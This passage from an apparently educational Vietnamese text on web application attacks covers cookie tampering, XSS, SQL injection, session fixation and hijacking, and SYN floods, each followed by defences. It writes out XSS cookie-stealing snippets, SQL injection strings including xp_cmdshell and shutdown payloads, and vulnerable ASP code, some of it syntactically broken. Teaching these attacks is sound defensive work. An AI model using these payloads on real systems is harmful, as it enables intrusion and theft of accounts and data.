trữ dưới những file dữ liệu nhỏ dạng text, được ứng dụng tạo ra để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm trang Web và những vùng mà họ đi qua trong trang. Những thông tin này bao gồm tên/định danh người dùng, mật khẩu, sở thích, thói quen...cookie được trình duyệt của người dùng chấp nhận lưu trên đĩa cứng của máy mình, tuy nhiên không phải lúc nào trình duyệt cũng hỗ trợ cookie, mà còn tùy thuộc vào người dùng có chấp nhận chuyện lưu trữ đó hay không. Ở những lần truy cập sau đến trang Web đó, ứng dụng có thể dùng lại những thông tin trong cookie, người dùng không phải làm lại thao tác đăng nhập hay phải cung cấp lại các thông tin khác. Cookie được phân làm 2 loại secure/non-secure và persistent/non-persistent do đó ta sẽ có 4 kiểu cookie là: Persistent và Secure Persistent và Non-Secure Non-Persistent và Secure Non-Persistent và Non-Secure + Persistent cookies được lưu trữ dưới dạng tập tin .txt (ví dụ trình duyệt Netscape navigator sẽ lưu các cookie thành một tập tin cookie.txt còn Internet Explorer sẽ lưu thành nhiều tập tin *.txt trong đó mỗi tập tin là một cookie) trên máy khách trong một khoảng thời gian xác định. + Non-persistent cookie thì được lưu trữ trên bộ nhớ RAM của máy khách và sẽ bị hủy khi đóng trang web hay nhận được lệnh hủy từ trang web. + Secure cookie chỉ có thể được gửi thông qua HTTPS (trình chủ sẽ cung cấp chế độ truyền bảo mật.). + Non-Secure cookie được gửi qua hai giao thức HTTPS hoặc HTTP. Ví dụ 5: chuỗi lệnh trong HTTP header dưới đây sẽ tạo một cookie: Set-Cookie:Apache="64.3.40.151.16018996349247480"; path="/"; domain="www.redhat.com"; path_spec; expires="2006-07-2719:39:15Z"; version=0 + Các cookie của Netscape (NS) đặt trong một tập tin Cookies.txt, với đường dẫn là: C:\Program Files\Netscape\Users\UserName\Cookies.txt. + Các cookies của IE được lưu thành nhiều tập tin, mỗi tập tin là một cookie và được đặt trong [C:]\Documents and Setting\[username]\Cookies (Win2000), đối với win9x, thư mục cookies nằm trong thư mục [C:]\Windows\cookies. Kích thước tối đa của cookie là 4kb. Số cookie tối đa cho một tên miền là 20 cookie. Cookie bị hủy ngay khi đóng trình duyệt gọi là “session cookie”. Vì cookie là thành phần lưu trữ thông tin bảo mật nhất nên Cookie thường được dùng để lưu giữ trạng thái cho giao thức HTTP hơn là trường ẩn form và biến trên URL. Nó còn được dùng để lưu trữ những thông tin của người dùng khi sử dụng ứng dụng và những dữ liệu khác của session. Tất cả các loại cookie như persistent hay non-persistent, secure hay insecure đều có thể bị thay đổi bởi người dùng và được gửi về cho trình chủ. Do đó hacker có thể thay đổi nội dung cookie để phá hoại ứng dụng. Với công cụ miễn phí như Winhex thì non-persistent cookie có thể bị thay đổi nội dung. SSL chỉ có thể bảo vệ cookie trong quá trình truyền. Ví dụ 6: Cookie: lang=en-us; ADMIN=no; y=1 ; time=10:30GMT ; Cookie xác định người dùng này không phải là Admin (ADMIN=no), nhưng nếu hacker thay đổi thành: Cookie: lang=en-us; ADMIN=yes; y=1 ; time=12:30GMT ; Hacker lúc này mang vai trò là một nhà quản trị của ứng dụng. Biện pháp khắc phục Sử dụng đối tượng session lưu trữ thông tin quan trọng trên trình chủ. Khi ứng dụng cần kiểm tra thông tin của một người dùng, ứng dụng sẽ dùng sessionID của người dùng để chỉ đến thông tin của người dùng đó trong cache hay cơ sở dữ liệu. Xây dựng một cơ chế kiểm tra nội dung của cookie để tìm ra những giá trị không hợp lệ từ đó biết được cookie đó là giả. Ví dụ là nếu biến cờ “người quản trị” được được thiết lập là đúng trong cookie, nhưng giá trị của số thứ tự người dùng trong cookie lại không giống như giá trị số thứ tự của “người quản trị” được lưu trữ trên server. Phương pháp cuối cùng là mã hoá cookie. Một số phương pháp mã hoá như symmetric (dùng 1 khóa duy nhất cho cả mã hóa và giải mã) hay asymmetric (mã hóa dùng 2 khóa riêng biệt, một khóa dùng chung cho mã hóa và một khóa riêng để giải mã) 2.2. TẤN CÔNG “CHÈN MÃ LỆNH TRÊN TRÌNH DUYỆT” (Cross Site Scripting -XSS) 2.2.1. Phương pháp tấn công XSS Phương pháp “Cross Site Scripting” (XSS) là phương pháp tấn công, bằng cách chèn thêm những đoạn mã có khả năng đánh cắp hay thiết lập được những thông tin quan trọng như cookies, mật khẩu,… vào mã nguồn ứng dụng web, để từ đó chúng được chạy như là một phần của ứng dụng Web, và có khả năng cung cấp hoặc thực hiện những điều hacker muốn. Phương pháp này không nhằm vào máy chủ hệ thống, mà chủ yếu tấn công vào máy người dùng. Hacker lợi dụng sự kiểm tra lỏng lẻo từ ứng dụng và hiểu biết hạn chế của người dùng, biết đánh vào sự tò mò của họ dẫn đến người dùng bị mất thông tin một cách dễ dàng. Thông thường hacker lợi dụng địa chỉ URL, để đưa ra những liên kết là tác nhân kích hoạt những đoạn chương trình viết bằng ngôn ngữ máy khách như VBScript, JavaScript… thực thi trên chính trình duyệt của nạn nhân. Ví dụ 7: alert(document.cookie); hay %3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E Phần in đậm là đoạn mã được thêm vào với mục đích đánh cắp cookies của nạn nhân. Trong 2 ví dụ trên, hầu hết những tiền tố URL là địa chỉ của những ứng dụng Web có thật Ví dụ trên chỉ minh họa việc thêm đoạn mã của mình vào trang Web thông qua URL. Nhưng thực sự thì có nhiều cách để thêm đoạn mã JavaScript với mục đích tấn công kiểu XSS. Hacker có thể lợi dụng Document Object Model (DOM), để thay đổi ngữ cảnh và nội dung Web ứng dụng. Sau đây là danh sách nơi có thể chèn đoạn mã: &[code] &{[code]}; ... Các bước thực hiện XSS truyền thống: Hình 4: Quá trình thực hiện XSS Bước 1: Hacker biết được người dùng đang sử dụng một ứng dụng Web có lỗ hổng XSS. Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên chính trang Web (như trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo ra…). Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ của hacker. Bước 4: Hacker tạo một chương trình hoặc một trang Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để thâm nhập vào tài khoản của người dùng. Ví dụ 8: Khi đang đọc thư mà chuyển sang website khác, có thể bị mất mật khẩu. Trước đây, hàng loạt hộp thư của Yahoo bị mất mật khẩu hay bị đọc trộm thư mà không rõ nguyên nhân, đó là do lỗi XSS. Hacker đã sử dụng đoạn mã sau để đánh cắp cookie: <img border="0" onmouseover="window.document.XSS.cookie.value = document.cookie; window.document.XSS.submit();" src="none.jpg"> Khi nhận thư, nếu vô tình đưa con chuột qua bức ảnh gửi kèm, người dùng sẽ bị lấy mất cookie. Và với cookie lấy được, các hacker có thể login hòm thư mà không cần biết mật khẩu. Ví dụ 9: Nếu như gặp một liên kết có dạng:   Người dùng phải xem xét kĩ trước khi click vào, vì có khả năng sẽ mất cookies. Do đó nên tắt JavaScript cho trình duyệt trước khi click vào, hay ít nhất cũng có một chút cảnh giác. Nhưng nếu gặp liên kết: ] Đó thực chất chính là liên kết ban đầu, nhưng chỉ khác nó được mã hoá. Một phần kí tự của liên kết đã được thay thế bởi mã HEX của nó, tất nhiên trình duyệt của bạn vẫn hiểu địa chỉ đó thực sự là gì. 2.2.2. Biện pháp phòng tránh: OWASP nói rằng để có thể xây dựng các website bảo mật cao, đối với các dữ liệu của người dùng nên:  + Chỉ chấp nhận những dữ liệu hợp lệ.  + Từ chối nhận các dữ liệu hỏng.  + Liên tục kiểm tra và thanh lọc dữ liệu.  Tuy nhiên trên thực tế, một số trường hợp phải chấp nhận cả dữ liệu hợp lệ, không hợp lệ hay dữ liệu hỏng vì không có một bộ lọc phù hợp. Chính vì vậy phải có những cách riêng để giải quyết.  Một trong những cách hay dùng là mã hoá các kí tự đặc biệt trước khi in ra website, nhất là những gì có thể gây nguy hiểm cho người dùng. Trong trường hợp mã hóa thẻ thành . Như vậy nó sẽ vẫn được in ra màn hình mà không hề gây nguy hiểm cho người dùng. Cần cấu hình lại trình duyệt để nhắc nhở người dùng có cho thực thi ngôn ngữ kịch bản trên máy của họ hay không? Tùy vào mức độ tin cậy mà người dùng sẽ quyết định. 2.3. TẤN CÔNG KIỂU “CHÈN CÂU LỆNH TRUY VẤN” (SQL Injection) SQL Injection là cách lợi dụng những lỗ hổng trong quá trình lập trình Web về phần truy xuất CSDL. Đây không chỉ là khuyết điểm của riêng SQL Server, mà nó còn là vấn đề chung cho toàn bộ các CSDL khác như Oracle, MS Access hay IBM DB2. Khi hacker gửi dữ liệu (thông qua các form), ứng dụng Web sẽ thực hiện và trả về cho trình duyệt kết quả câu truy vấn hay thông báo lỗi có liên quan đến CSDL. Và nhờ những thông tin này, hacker biết được nội dung CSDL, và từ đó có thể điều khiển hệ thống ứng dụng. Các dạng tấn công bằng SQL Injection: Có bốn dạng thông thường bao gồm: Vượt qua kiểm tra lúc đăng nhập (authorization bypass) Sử dụng câu lệnh SELECT Sử dụng câu lệnh INSERT Sử dụng các stored-procedure 2.3.1. Tấn công vượt qua kiểm tra đăng nhập Với dạng tấn công này, tin tặc có thể vượt qua các trang đăng nhập, nhờ vào lỗi khi dùng các câu lệnh SQL, thao tác trên CSDL của ứng dụng web. Xét ví dụ điển hình, thông thường để cho phép người dùng truy cập vào các trang web được bảo mật, hệ thống có trang đăng nhập để người dùng nhập tên đăng nhập và mật khẩu. Hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực hiện tiếp. Có thể dùng hai trang, một trang HTML để hiển thị form nhập liệu và một trang ASP dùng để xử lí thông tin nhập từ phía người dùng. Ví dụ 11: login.htm Username: Password: execlogin.asp <% Dim vUsrName, vPassword, objRS, strSQL vUsrName = Request.Form("fUSRNAME") vPassword = Request.Form("fPASSWORD") strSQL= "SELECT * FROM T_USERS WHERE USR_NAME=' " & vUsrName & " ' and USR_PASSWORD=' " & vPassword & " ' " Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." If (objRS.EOF) Then Response.Write "Invalid login." Else Response.Write "You are logged in as " & objRS("USR_NAME") End If Set objRS = Nothing %> Đoạn mã “execlogin.asp” dường như không chứa một lỗ hổng về an toàn. Người dùng không thể đăng nhập mà không có tên đăng nhập và mật khẩu hợp lệ. Tuy nhiên, đoạn mã này thực sự không an toàn và là tiền đề cho một lỗi SQL injection. Sơ hở nằm ở dữ liệu nhập vào từ người dùng được dùng để xây dựng trực tiếp câu lệnh SQL. Chính điều này cho phép những kẻ tấn công có thể điều khiển câu truy vấn sẽ được thực hiện. Nếu người dùng nhập chuỗi sau vào trong cả 2 ô nhập liệu username và password của trang “login.htm” là: ' OR ' ' = ' ' Lúc này, câu truy vấn sẽ được gọi thực hiện là: SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and USR_PASSWORD= '' OR ''='' Câu truy vấn này là hợp lệ, và sẽ trả về tất cả các bản ghi của T_USERS, câu lệnh so sánh luôn luôn đúng (vì‘’luôn bằng‘’), nên câu điều kiện trong mệnh đề WHERE luôn đúng, và thực hiện phép logic “OR” giữa giá trị bất kì với dữ liệu trong T_USERS, giá trị tên người sử dụng của dòng đầu tiên trong bảng sẽ được chọn, xử lí người dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ. 2.3.2. Tấn công sử dụng câu lệnh SELECT Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống, để dò tìm các điểm yếu khởi đầu cho việc tấn công. Xét ví dụ thường gặp trong các website về tin tức. Có một trang nhận ID của tin cần hiển thị, sau đó truy vấn nội dung của tin có ID này. Ví dụ 12: Mã nguồn cho chức năng này thường được viết theo dạng: <% Dim vNewsID, objRS, strSQL vNewsID = Request("ID") strSQL = "SELECT * FROM T_NEWS WHERE NEWS_ID =" & vNewsID & " Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." Set objRS = Nothing %> Trong tình huống thông thường, đoạn mã này hiển thị nội dung của tin có ID trùng với ID đã chỉ định, và hầu như không thấy có lỗi. Tuy nhiên, giống như ví dụ 11, đoạn mã này để lộ sơ hở cho một lỗi SQL injection khác. Kẻ tấn công có thể thay thế ID hợp lệ bằng cách gán ID cho một giá trị khác, và khởi đầu cho cuộc tấn công bất hợp pháp. Ví dụ 13: 0 OR 1=1 (nghĩa là, or 1=1). Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì nó sẽ thực hiện câu lệnh: SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1 Ví dụ về trang tìm kiếm. Trang này cho phép người dùng nhập vào các thông tin tìm kiếm như Họ, Tên, … Đoạn mã thường gặp là: <% Dim vAuthorName, objRS, strSQL vAuthorName = Request("fAUTHOR_NAME") strSQL="SELECT * FROM T_AUTHORS WHERE AUTHOR_NAME =' " vAuthorName & " ' " Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." … Set objRS = Nothing %> Tương tự như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn SQL để nhập vào trường tên tác giả bằng chuỗi giá trị: ' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' Lúc này, ngoài câu truy vấn đầu thành công, chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa. Có thắc mắc là làm thế nào có thể biết được tên của bảng dữ liệu để thực hiện các thao tác phá hoại khi ứng dụng web bị lỗi SQL injection. Đơn giản vì trong SQL Server, có hai đối tượng là sysobjects và syscolumns cho phép liệt kê tất cả các tên bảng và cột có trong hệ thống. Ta chỉ cần chỉnh lại câu lệnh SELECT: ' UNION SELECT name FROM sysobjects WHERE xtype = 'U' là có thể liệt kê được tên tất cả các bảng dữ liệu. 2.3.3. Tấn công sử dụng câu lệnh INSERT Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản để tham gia. Sau khi đăng kí thành công, người dùng có thể xem và hiệu chỉnh thông tin của mình. SQL injection có thể được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào. Ví dụ 14: câu lệnh INSERT có cú pháp dạng: INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value Three'). Nếu đoạn mã xây dựng câu lệnh SQL có dạng: <% strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ', ' " & strValueTwo & " ', ' " & strValueThree & " ') " Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." … Set objRS = Nothing %> thì chắc chắn sẽ bị lỗi SQL injection, khi ta nhập: ' + (SELECT TOP 1 FieldName FROM TableName) + ' Lúc này câu truy vấn sẽ là: INSERT INTO TableName VALUES(' ' + (SELECT TOP 1 FieldName FROM TableName) + ' ', 'abc', 'def') Khi đó, lúc thực hiện lệnh xem thông tin, thì xem như đã yêu cầu thực hiện thêm một lệnh nữa, đó là: SELECT TOP 1 FieldName FROM TableName 2.3.4. Dạng tấn công sử dụng Stored-Procedures “Stored Procedure” được dùng trong lập trình Web với mục đích giảm sự phức tạp trong ứng dụng và tránh bị tấn công bằng kĩ thuật SQL Injection. Tuy nhiên hacker vẫn có thể lợi dụng “Stored Procedure” để tấn công vào hệ thống. Việc tấn công bằng “stored-procedures” sẽ gây tác hại lớn, nếu ứng dụng được thực thi với quyền quản trị hệ thống 'sa'. Ví dụ 15: nếu ta thay đoạn mã dạng: '; EXEC xp_cmdshell ‘cmd.exe dir C:'. Hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server. Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe. Ví dụ 16: Stored procedure sp_login gồm hai tham số là username và password. Nếu nhập: Username: nhimmap Password: ‘;shutdown-- Lệnh gọi stored procedure như sau: exec sp_login ‘nhimmap’,‘’;shutdown--’ Dấu chấm phẩy (;) kết thúc truy vấn SQL và cho phép thi hành lệnh SQL mới. Lúc này, “Shutdown” không còn là password, nó trở thành lệnh thực thi dừng SQL, dấu “--” thông báo không làm gì tiếp theo. 2.3.5. Biện pháp phòng tránh: Lỗi SQL injection khai thác những bất cẩn của lập trình viên phát triển ứng dụng web, khi xử lí các dữ liệu nhập vào để xây dựng câu lệnh SQL. Tác hại từ lỗi SQL injection tùy thuộc vào môi trường và cách cấu hình hệ thống. Nếu ứng dụng sử dụng quyền “dbo” (quyền của người sở hữu CSDL) khi thao tác dữ liệu, nó có thể xóa toàn bộ các bảng dữ liệu, tạo các bảng dữ liệu mới, … Nếu ứng dụng sử dụng quyền “sa” nó có thể điều khiển toàn bộ hệ quản trị CSDL, và với quyền hạn rộng như vậy, nó có thể tạo ra các tài khoản người dùng bất hợp pháp để điều khiển hệ thống. Để phòng tránh, ta có thể thực hiện ở hai mức: 1/ Kiểm soát chặt chẽ dữ liệu nhập vào Để phòng tránh các nguy cơ có thể xảy ra, hãy bảo vệ các câu lệnh SQL bằng cách kiểm soát chặt chẽ tất cả các dữ liệu nhập nhận được từ đối tượng Request (Request, Request.QueryString, Request.Form, Request.Cookies, and Request.ServerVariables). Ví dụ 17: có thể giới hạn chiều dài của chuỗi nhập liệu, hoặc xây dựng hàm EscapeQuotes để thay thế các dấu nháy đơn bằng 2 dấu nháy đơn <% Function EscapeQuotes(sInput) sInput = replace(sInput, " ' ", " ' ' ") EscapeQuotes = sInput End Function %> Trong trường hợp dữ liệu nhập vào là số, lỗi xuất phát từ việc thay thế một giá trị được tiên đoán là dữ liệu số bằng chuỗi chứa câu lệnh SQL bất hợp pháp. Để tránh điều này, đơn giản hãy kiểm tra dữ liệu có đúng kiểu hay không bằng hàm IsNumeric(). Ngoài ra có thể xây dựng hàm loại bỏ một số kí tự và từ khóa nguy hiểm như: ;, --, select, insert, xp_, … ra khỏi chuỗi dữ liệu nhập từ phía người dùng để hạn chế các tấn công dạng này: <% Function KillChars(sInput) dim badChars dim newChars badChars = array("select", "drop", ";", "--", "insert", "delete", "xp_") newChars = strInput for i = 0 to uBound(badChars) newChars = replace(newChars, badChars(i), "") next KillChars = newChars End Function %> 2/ Thiết lập cấu hình an toàn cho hệ quản trị CSDL Cần có cơ chế kiểm soát chặt chẽ và giới hạn quyền xử lí dữ liệu đến tài khoản người dùng mà ứng dụng web đang sử dụng. Các ứng dụng thông thường nên tránh dùng đến các quyền như dbo hay sa. Quyền càng bị hạn chế, thiệt hại càng ít. Ngoài ra để tránh các nguy cơ từ SQL Injection attack, nên chú ý loại bỏ bất kì thông tin kĩ thuật nào chứa trong thông điệp chuyển xuống cho người dùng khi ứng dụng có lỗi. Các thông báo lỗi thông thường tiết lộ các chi tiết kĩ thuật có thể cho phép kẻ tấn công biết được điểm yếu của hệ thống. 2.4. TẤN CÔNG DỰA VÀO “KIỂU QUẢN LÝ PHIÊN LÀM VIỆC” (SessionID Management) HTTP là giao thức hướng đối tượng tổng quát, phi trạng thái, nghĩa là HTTP không lưu trữ trạng thái làm việc giữa trình duyệt với trình chủ. Thiếu sót này gây khó khăn cho một số ứng dụng Web, bởi vì trình chủ không biết được trước đó trình duyệt đã có những trạng thái nào. Vì thế, để giải quyết vấn đề này, ứng dụng Web đưa ra một khái niệm phiên làm việc (Session). Còn SessionID là một chuỗi để chứng thực phiên làm việc. Một số trình chủ sẽ cung cấp một SessionID cho người dùng khi họ xem trang web trên trình chủ. Để duy trì phiên làm việc thì sessionID thường được lưu vào : Biến trên URL Trường ẩn form Cookie Phiên làm việc chỉ tồn tại trong khoảng thời gian cho phép, thời gian này được cấu hình qui định tại trình chủ hoặc bởi ứng dụng thực thi. Trình chủ sẽ tự động giải phóng phiên làm việc để khôi phục lại tài nguyên của hệ thống. Sau khi người dùng được xác thực dựa trên thông tin cá nhân như tên/mật khẩu, session ID được xem như mật khẩu tĩnh tạm thời cho những lần yêu cầu tiếp theo. Điều này đã khiến cho Session ID là mục tiêu lớn cho những hacker. Nhiều trường hợp, hacker giành được session ID hợp lệ của người dùng, để từ đó đột nhập vào phiên làm việc của họ. Tấn công vào một phiên làm việc thường được thực hiện theo 2 kiểu chính sau: + Ấn định phiên làm việc (Session Fixation). + Đánh cắp phiên làm việc (Session Hijacking). 2.4.1. Tấn công kiểu “Ấn định phiên làm việc” Trong kiểu tấn công “ấn định phiên làm việc”, hacker ấn định sẵn session ID cho nạn nhân, trước khi họ đăng nhập vào hệ thống. Sau đó, hacker sử dụng session ID này để buớc vào phiên làm việc của nạn nhân đó. Quá trình tấn công như sau: Bước 1: Thiết lập session ID. Hệ thống quản lí session theo 2 hướng: + Hướng tự do: chấp nhận bất kì một session ID, nếu chưa tồn tại session thì tạo mới một session ID. + Hướng giới hạn: chỉ chấp nhận session ID nào đã đăng kí trước đó. Với hệ thống hướng tự do, hacker chỉ cần thiết lập một session ID bất kì, nhớ và sau đó sử dụng lại session ID này. Ở hướng giới hạn, hacker phải đăng kí một session ID với ứng dụng. Phụ thuộc vào qui trình quản lí phiên làm việc, hacker lưu trữ “thời gian sống” (Time To Live) của phiên làm việc cho đến khi nạn nhân đăng nhập vào hệ thống. Thông thường một phiên làm việc không tồn tại vô hạn. Hệ thống sẽ tự động hủy bỏ phiên làm việc, nếu nó không thực hiện một thao tác nào (thời gian nhàn rỗi) hoặc hết hạn định. Hình 5: Sơ lược quá trình tấn công người dùng bằng kĩ thuật ấn định session Bước 2: Gửi ID này đến trình duyệt nạn nhân. Hacker gửi session ID vừa tạo đến người dùng, việc trao đổi ID session còn tùy vào ứng dụng, có thể qua parameter URL, trường ẩn form hay cookie. Các cách tấn công thông dụng gồm có: Tấn công sessionID trên tham số URL (SessionID parameter URL). Tấn công sessionID trên trường ẩn form (SessionID hidden Form Field). Tấn công sessionID trong cookie. a/ Tấn công sessionID trên tham số URL (SessionID parameter URL) Hacker gửi một liên kết yêu cầu người dùng đăng nhập vào hệ thống máy đích với sessionID đã được ấn định sẵn trên URL. Ví dụ 18: 1) Hacker mở dịch vụ trực tuyến của ngân hàng thông qua địa chỉ online.worldbank.com 2) Nhận được một session ID từ trình chủ, để xác định phiên làm việc của hacker. Ví dụ session ID có giá trị là 1234. 3) Hacker tìm cách gửi liên kết đến một người dùng nào đó, có tài khoản trong ngân hàng này. Liên kết đó thường dẫn đến trang đăng nhập vào tài khoản trong ngân hàng ví dụ liên kết là Người dùng có thể bị lừa làm việc trong phiên làm việc của hacker, khi người dùng nhận được liên kết này. 4) Người dùng bị mắc lừa và mở ứng dụng Web tói ngân hàng bằng liên kết của hacker. Do đã có session ID=1234 (của hacker), nên trình chủ không tạo session ID mới. 5) Người dùng tiếp tục đăng nhập với thông tin của mình để quản lí tài khoản trong ngân hàng 6) Khi đó hacker vào tài khoản của người dùng mà không cần phải đăng nhập vì có cùng phiên làm việc. b/ Tấn công Session ID trong biến ẩn Form Cách tấn công này tương tự như “Thao tác trên trường ẩn Form” (phần 2.1.2), sau khi hacker xem mã HTML của trang Web, nhận thấy session ID được đặt trong biến ẩn form, hacker sẽ gửi một sessionID cũng trên URL đến người dùng hoặc một trang Web giống trang đích nhưng với biến ẩn form mang giá trị ấn định sẵn. c/ Tấn công Session ID trong cookie Lợi dụng cookie, hacker có hai cách để đưa một session ID đến trình duyệt của nạn nhân: 1). Thiết lập một cookie trên trình duyệt bằng ngôn ngữ kịch bản: Hầu hết trình duyệt đều hỗ trợ các ngôn ngữ kịch bản thực thi trên trình duyệt như Javascript, VBScript. Cả hai ngôn ngữ này có thể thiết lập một cookie cho trình duyệt bằng cách thiết lập giá trị “ document.cookie”. Ví dụ 19: “sessionid=1234; domain= .workbank.com”; Bên cạnh đó, hacker có thể thiết lập thời gian sống cho cookie, domain cookie…và cách này phù hợp với những hệ thống hướng “tự do”. Ví dụ domain nào thuộc.workbank.com đều có thể đọc được giá trị cookie này. 2). Dùng thẻ với thuộc tính Set-Cookie: Ứng dụng cũng có thể thiết lập cookie cho trình duyệt bằng thẻ trong HTML. Ví dụ 20: Bước 3: Đột nhập vào phiên làm việc của nạn nhân. Sau khi nạn nhân đăng nhập vào hệ thống qua session ID đã được chỉ định sẵn và chưa thoát khỏi ứng dụng, hacker dùng session ID đó để bước vào phiên làm việc của nạn nhân. 2.4.2.Tấn công kiểu “Đánh cắp phiên làm việc” Khác với kiểu tấn công ấn định phiên làm việc, hacker đánh cắp một session ID của người dùng khi họ đang trong phiên làm việc của mình. Và để có thể đánh cắp session ID của người dùng, hacker có thể dùng những phương pháp sau: Dự đoán phiên làm việc Vét cạn phiên làm việc. Dùng đoạn mã đánh cắp phiên làm việc a.) Tấn công kiểu dự đoán phiên làm việc (Prediction sessionID) Hacker phải là người dùng hợp lệ của hệ thống, sau vài lần đăng nhập vào hệ thống, hacker xem xét các giá trị session ID nhận được, tìm ra qui luật phát sinh và từ đó có thể đoán được giá trị của một phiên làm việc của người dùng kế tiếp. b). Tấn công kiểu vét cạn phiên làm việc (Brute force ID) Hacker tự tạo một chương trình gửi nhiều yêu cầu trong một khoảng thời gian đến trình chủ. Mỗi một yêu cầu kèm theo một session ID để tìm các sessionID đang tồn tại. Hacker dựa vào thói quen của những nhà phát triển ứng dụng lấy thời gian hay địa chỉ IP của người dùng để tạo sessionID để hạn chế vùng vét cạn. c). Tấn công kiểu dùng đoạn mã để đánh cấp phiên làm việc Bằng cách chèn vào đoạn mã thực thi trên chính trình duyệt của nạn nhân, hacker có thể lừa người dùng theo vết một liên kết để từ đó thực hiện đánh cắp cookie của người dùng và cách này được thực hiện thông qua lỗi Cross-Site Scripting. Sau khi có được phiên làm việc của người dùng, hacker vào phiên làm việc của họ. 2.4.3. Biện pháp phòng chống: Biện pháp 1: Chống việc đăng nhập với một session ID có sẵn Theo kiểu tấn công này, người dùng đăng nhập vào hệ thống thông qua một session ID do hacker tạo sẵn, thay vì do trình chủ tạo mới. Do đó để phòng chống, ứng dụng phải hủy bỏ sessionID được cung cấp bởi trình duyệt của người dùng, khi đăng nhập, và luôn tạo một sessionID mới khi người dùng đăng nhập thành công. Biện pháp 2: Phòng chống những hacker bên ngoài hệ thống Việc tạo ứng dụng trên hệ thống theo hướng giới hạn ( chỉ tạo một session ID mới cho người dùng sau khi họ thành công ), sẽ khiến cho những hacker không phải là người dùng hợp lệ của hệ thống không thể sử dụng phương pháp tấn công này. Biện pháp 3: Giới hạn phạm vi ứng dụng của session ID. + Kết hợp Session ID với địa chỉ của trình duyệt. + Kết hợp Session ID với thông tin xác thực được mã hoá SSL của người dùng. + Xóa bỏ session khi người dùng thoát khỏi hệ thống, hay hết hiệu lực, có thể thực hiện trên trình chủ hoặc trình duyệt. + Người dùng phải dùng chế độ thoát khỏi hệ thống, để xóa bỏ session hiện thời và những sessionID còn lưu lại trên hệ thống, khi họ quên thoát ra ngoài những lần trước. + Thiết lập “thời gian hết hiệu lực” cho session, tránh trường hợp hacker có thể duy trì session và sử dụng nó lâu dài. + Với session ID quá ngắn, hacker có thể dùng kĩ thuật “Vét cạn”. Nhưng không vì thế mà cho rằng ứng dụng sẽ bảo mật với session ID dài và phức tạp vì kích thước session ID sẽ là một vấn đề nếu thuật toán không tốt. 2.5. TẤN CÔNG “TỪ CHỐI DỊCH VỤ” (DoS_denial of Server) 2.5.1. Khái niệm DoS Tấn công kiểu DoS là tấn công làm cho các dịch vụ mạng bị tê liệt, không còn khả năng đáp ứng được yêu cầu nữa. Loại tấn công này ảnh hưởng đến nhiều hệ thống, rất dễ thực hiện và lại rất khó bảo vệ hệ thống khỏi kiểu tấn công DoS. Thông thường, kiểu tấn công DoS dựa trên giao thức. Ví dụ với giao thức ICMP, hacker có thể sử dụng bomb e-mail để gửi hàng ngàn thông điệp email với mục đích tiêu thụ băng thông để làm hao hụt tài nguyên hệ thống trên mail server. Hoặc có thể dùng phần mềm gửi hàng loạt yêu cầu đến máy chủ, khiến cho máy chủ không thể đáp ứng những yêu cầu chính đáng khác. Khái niệm về “TCP bắt tay ba chiều:” Để tìm hiểu phương pháp tấn công DoS, trước tiên ta xét cơ chế làm việc “TCP bắt tay ba chiều”. Gói dữ liệu TCP chứa flag bits (cờ) để mô tả nội dung và mục đích của gói dữ liệu. Ví dụ: Gói dữ liệu TCP với cờ SYN (synchoronize) dùng để bắt đầu 1 kết nối. ACK (acknowledgement): xác nhận kết nối. FIN (finish): dùng để cắt 1 kết nối. Cách hoạt động của gói TCP: Hình 7: Cơ chế thiết lập kết nối trước khi truyền số liệu Buớc 1: Máy con gửi gói tin SYN yêu cầu kết nối. Bước 2: Nếu máy chủ chấp nhận kết nối, máy chủ gửi gói tin SYN/ACK. Server bắt buộc phải gửi thông báo lại, vì TCP là chuẩn tin cậy nên nếu máy con không nhận được thông báo, thì sẽ nghĩ rằng packet đã bị lạc và gửi lại một packet mới. Bước 3: Máy con gửi hồi đáp bằng gói tin ACK. Báo cho máy chủ biết rằng máy con đã nhận được SYN/ACK packet và lúc này kết nối đã được thiết lập. a) Lợi dụng TCP thực hiện phương pháp SYN flood: Hình 8: Tấn công DoS truyền thống Với một gói tin SYN, máy chủ phải để một phần tài nguyên như bộ nhớ đệm để nhận và truyền dữ liệu cho đường truyền đó. Tuy nhiên, tài nguyên của hệ thống là có hạn, và hacker tìm mọi cách để hệ thống tràn qua giới hạn đó. (Được gọi là half-open connection, vì máy khách mở kết nối giữa chừng) Theo hình 8, nếu máy chủ sau khi gửi trả gói tin SYN/ACK để thông báo chấp nhận kết nối cho máy yêu cầu, nhưng nếu địa chỉ IP của máy yêu cầu là giả mạo, thì gói tin không thể đến được đích, nên máy chủ vẫn phải dành tài nguyên cho yêu cầu đó. Sau một thời gian không nhận được phản hồi từ máy khách, máy chủ lại tiếp tục gửi gói tin SYN/ACK để xác nhận lần nữa, cứ 